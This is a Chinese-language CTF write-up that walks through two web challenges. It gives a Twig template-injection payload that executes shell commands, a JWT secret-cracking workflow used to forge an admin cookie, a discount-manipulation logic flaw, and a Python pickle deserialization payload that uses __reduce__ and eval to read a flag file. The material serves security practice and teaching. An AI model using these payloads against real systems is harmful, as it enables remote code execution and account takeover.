[BJDCTF2020]Cookie is so stable
這是一道模板注入題,模板注入題流程圖(搬運來的)
首先在 /flag.php 這頁測試,測試結果是Twig
Twig {{7*'7'}} #輸出49 Jinja {{7*'7'}} #輸出7777777
因為hint.php源碼可以看到有關 cookie 的提示,抓包看一下cookie和注入點的關系
登錄進去之后抓包,發現 cookie 里面 user 是注入點
直接拿 ssti 注入這篇文章(鏈接在最后)的 payload 打
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
把 id 換成 cat /flag 可以直接得到 flag
參考:
https://zhuanlan.zhihu.com/p/28823933
[CISCN2019 華北賽區 Day1 Web2]ikun
知識點:邏輯漏洞、jwt密鑰破解、python反序列化漏洞
進入靶機查看源碼:
提示需要買到lv6,注冊賬號發現給了1000塊錢,根據ctf套路應該是用很低的價格買很貴的lv6,首頁翻了幾頁都沒發現lv6,寫腳本找:
import requests
url = "http://76267771-2542-4ee4-a22f-d01b144fa6c5.node3.buuoj.cn/shop?page={}"
for i in range(10,1000): url1=url.format(i) r=requests.get(url1) if "lv6.png" in r.text: print("我找到了lv6了 %d"%i) break; else: print(url1)
跑出結果是lv6在181頁,而且很貴買不起
看一下源碼,發現是可以直接改折扣和價格的,但是價格修改后支付失敗,但是可以把折扣改的很低很低比如0.000000000000000000001
購買成功后發現頁面只允許admin訪問
但是我們不是管理員,那么需要獲得管理員的cookie,查看一下當前頁面的cookie發現有一欄叫做jwt
可以去jwt.io這個網站去驗證一下這個jwt
若要獲得管理員的jwt,需要先把username改為admin然后破解your-256-bit-secret密鑰,這樣jwt.io就會返回正確的管理員的jwt-cookie
這里就需要破解jwt秘鑰的軟件https://github.com/brendan-rius/c-jwt-cracker
安裝步驟是先clone破解軟件
git clone https://github.com/brendan-rius/c-jwt-cracker.git
再進入文件夾,最后make編譯
然后開始破解工作,雙引號內是jwt,破解出密碼為1Kun
這個時候在jwt.io把username改為admin然后密鑰處填上1Kun,左側返回正確的管理員的jwt-cookie
利用editcookie插件add cookie(應該直接修改jwt就可以,但是插件不太好用,add才可以)刷新后頁面改變
查看源碼發現提示,可以下載源碼
審計之后找到了一個python反序列化的地方,在 Admin.py
post這個函數里,首先get_argument是一個框架的內置函數用來獲取變量
become = self.get_argument('become')
然后urllib.unquote把字典形式的參數進行url編碼,然后pickle.loads對應pickle.dumps,相當於反序列化和序列化
p = pickle.loads(urllib.unquote(become))
測試一下pickle.dumps產生的序列化大概是個什么樣子(由於這個站本身是python2.x的站,所以代碼最后也要按照python2.x 的方式來運行)
import pickle
d1 = dict(name='phoebe',age='19') print(pickle.dumps(d1))
是一個二進制的文件流,多用來寫文件,然后再來了解一下python的魔術方法_reduce_,當定義擴展類型時(也就是使用Python的C語言API實現的類型),如果你想pickle它們,你必須告訴Python如何pickle它們。
_reduce_ 被定義之后,當對象被Pickle時就會被調用。那么腳本如下:
import pickle
import urllib class payload(object): def __reduce__(self): return (eval, ("open('/flag.txt','r').read()",)) a = pickle.dumps(payload()) a = urllib.quote(a) print a
(主要還是這行代碼:return (eval, ("open('/flag.txt','r').read()",))
reduce它要么返回一個代表全局名稱的字符串,Pyhton會查找它並pickle,要么返回一個元組。這個元組包含2到5個元素,
其中包括:
一個可調用的對象,用於重建對象時調用;
一個參數元素,供那個可調用對象使用;
被傳遞給 setstate 的狀態(可選);
一個產生被pickle的列表元素的迭代器(可選);
一個產生被pickle的字典元素的迭代器(可選)。
我們要返回的是flag.txt的字節流,所以我們需要返回一個元組,這個元組包含兩個必選的參數,第一個可調用的對象,我們這里用的eval,第二個參數,我們使用的是open(’/flag.txt’,‘r’).read())
點擊一鍵成為大會員抓包修改become值,得到flag